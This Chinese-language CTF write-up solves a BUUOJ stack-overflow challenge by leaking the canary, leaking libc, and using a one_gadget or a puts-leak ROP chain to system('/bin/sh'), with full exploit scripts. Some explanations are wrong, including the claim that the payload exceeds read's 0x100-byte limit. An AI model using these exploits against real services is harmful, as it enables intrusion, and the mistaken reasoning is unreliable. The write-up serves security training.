一道蛮神奇的题 两种解法 不过一种有点非常规 不知道出题人怎么设置的
checksec看一下保护机制
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)ida查看一下main函数
__int64 __fastcall main(int a1, char **a2, char **a3){ int v3; // eax char s[136]; // [rsp+10h] [rbp-90h] BYREF unsigned __int64 v6; // [rsp+98h] [rbp-8h]
v6 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); memset(s, 0, 0x80uLL); while ( 1 ) { menu(); v3 = choice(); switch ( v3 ) { case 2: puts(s); break; case 3: return 0LL; case 1: read(0, s, 0x100uLL); break; default: sendline("invalid choice"); break; } sendline(&unk_400AE7); }}menu函数这里就不放了 反正就看这些源码也能知道各个选项对应什么作用
两个比较重要的地方 有一个puts泄露的机会 还有read函数可以读入数据
考虑到程序开启了金丝雀 所以这里的puts可以用来泄露金丝雀
覆盖金丝雀的最后一位 使其不为\x00 因为puts或者printf截停一个字符串就是靠\x00
这里泄露的时候有个小坑 就是你不能想着读入后7位 然后最后用p64把他补全成八位 因为第八位也恒为00嘛
但是pwntools的p64补全是在首位补全
from pwn import*io = process("./a.out")context.log_level = "debug"canary = 0x11223344556677payload = p64(canary)io.sendline(payload)如上程序 假设canary值为上述那样 我们debug看一下最后会输送什么样的数据
[DEBUG] Sent 0x9 bytes: 00000000 77 66 55 44 33 22 11 00 0a │wfUD│3"··│·│ 00000009很明显 小端序存储 所以00实际上是被放在了首位
所以可以用sendline多出来的\n字节覆盖\x00 然后接收八个字节的数据 最后-0xa 就能得到带有00的canary
exp:
from pwn import*from struct import packfrom ctypes import *from LibcSearcher import*
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn'libc_name = 'buu_libc_ubuntu16_64'ip="node4.buuoj.cn"port=29125elf,libc = elf_libc(filename,libc_name)#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#main_addr = elf.sym['main']main_addr = 0x400908
io = remoteconnect(ip,port)#io = process("./pwn")debug(1)
puts_plt = 0x400690rdi_addr = 0x400a93puts_got = elf.got['puts']leave_addr = 0x400824
io.recvuntil(">> ")io.sendline(b"1")payload = cyclic(0x87)+b"1"io.sendline(payload)io.recvuntil(">> ")io.sendline(b"2")io.recvuntil("1")canary = u64(io.recv(8).ljust(8,b"\x00"))-0xa接下来还要想办法控制程序执行流 一开始看到read只能读入0x100的数据 我是觉得不能构造rop链来泄露libc基址
但是最后查看wp的时候 发现大家都是用泄露基址的办法做的 也是比较神奇 数据竟然能超出限制读入
第一种办法用到的是泄露__libc_start_main函数的地址
稍微了解一下程序函数调用就会知道 main函数并不是程序第一个调用的
__libc_start_main函数的地址应该是在rbp的下一个字长处
io.recvuntil(">> ")io.sendline(b"1")payload = cyclic(0x98)io.send(payload)
io.recvuntil(">> ")io.sendline(b"2")io.recv(0x98)start_addr = u64(io.recv(6).ljust(8,b"\x00"))libc_addr = start_addr - 240 - libc.sym['__libc_start_main']print(hex(libc_addr))这里泄露出来的start_addr之所以要减去240 还得要动调来看

泄露出来的地址距离__libc_start_main函数还有231偏移 当然这只是本地libc的偏移 远程的等下还得微调一下
此时我们得到算式:
libc_addr = start_addr - 231 - libc.sym['__libc_start_main']在本地上 其后三位是000 但是远程环境不同 运行看一下差了多少
得到的值是0x7f3fea3e8009 多了9 那就减去240就可以得到远程的libc基址了
虽然我们得到了libc基址 但是由于read可以溢出的长度不够我们构造一个system链 所以这里采取修改ret addr为one_gadget
完整exp:
from pwn import*from struct import packfrom ctypes import *from LibcSearcher import*
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn'libc_name = 'buu_libc_ubuntu16_64'ip="node4.buuoj.cn"port=29125elf,libc = elf_libc(filename,libc_name)#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#main_addr = elf.sym['main']main_addr = 0x400908
io = remoteconnect(ip,port)#io = process("./pwn")debug(1)
puts_plt = 0x400690rdi_addr = 0x400a93puts_got = elf.got['puts']leave_addr = 0x400824
io.recvuntil(">> ")io.sendline(b"1")payload = cyclic(0x87)+b"1"io.sendline(payload)io.recvuntil(">> ")io.sendline(b"2")io.recvuntil("1")canary = u64(io.recv(8).ljust(8,b"\x00"))-0xaio.recvuntil(">> ")io.sendline(b"1")payload = cyclic(0x98)io.send(payload)
io.recvuntil(">> ")io.sendline(b"2")io.recv(0x98)start_addr = u64(io.recv(6).ljust(8,b"\x00"))libc_addr = start_addr - 240 - libc.sym['__libc_start_main']#0x45216 0x4526a 0xf02a4 0xf1147onegadget_addr = libc_addr + 0xf1147
io.recvuntil(">> ")io.sendline(b"1")payload = b"a"*0x88+p64(canary)+p64(0xabcdabcd)+p64(onegadget_addr)io.send(payload)
io.recvuntil(">> ")io.send(b"3")
io.interactive()不过这题不知道为啥 read函数虽然对输入的数据进行了限制 但是好像还是可以超额输入 原理暂时还不清楚 留个坑
所以这题可以用构造rop链 泄露libc基址
from pwn import *from LibcSearcher import *
#p=remote('node4.buuoj.cn',27865)p=process('./pwn')elf=ELF('./pwn')context.log_level='debug'
#泄露canaryp.sendlineafter(">>",'1')payload='a'*(0x80+8)p.sendline(payload)
p.sendlineafter('>>','2')p.recvuntil('a\n')canary=u64(p.recv(7).rjust(8,b'\x00'))
pop_rdi=0x400a93puts_got=elf.got['puts']puts_plt=0x400690main_addr=0x400908
payload=b'a'*(0x80+8)+p64(canary)+p64(0)payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)p.sendlineafter(">>",'1')p.sendline(payload)payload总长明显是超过0x100的 但是gdb动调看了一下 确实是能写进去的

你直接打断点是看不到这些栈的内容的 这一段在高地址处 因为是之前执行过的栈
所以你需要用 set rsp - 0x68来调整一下rsp寄存器的位置 因为stack是以sp寄存器为0来延申的
这里还有一点是要注意的 此时我们一直是在while循环中 在执行完一连串的指令后 并不会跳转到返回地址 因为这并不属于一个栈帧的结束 从栈上的地址逐渐降低也可以看出来 所以我们需要手动退出while循环
剩下的就没什么好说的了 完整exp:
from pwn import *from LibcSearcher import *
#p=remote('node4.buuoj.cn',27865)p=process('./pwn')elf=ELF('./pwn')context.log_level='debug'
#泄露canaryp.sendlineafter(">>",'1')payload='a'*(0x80+8)p.sendline(payload)
p.sendlineafter('>>','2')p.recvuntil('a\n')canary=u64(p.recv(7).rjust(8,b'\x00'))
pop_rdi=0x400a93puts_got=elf.got['puts']puts_plt=0x400690main_addr=0x400908
payload=b'a'*(0x80+8)+p64(canary)+p64(0)payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)p.sendlineafter(">>",'1')p.sendline(payload)
p.sendlineafter(">>",'3')p.recv()puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)libc_base=puts_addr-libc.dump('puts')system=libc_base+libc.dump('system')binsh=libc_base+libc.dump('str_bin_sh')
payload=b'a'*(0x80+8)+p64(canary)+p64(0)payload+=p64(pop_rdi)+p64(binsh)+p64(system)p.sendlineafter('>>','1')p.sendline(payload)
p.sendlineafter('>>','3')p.interactive()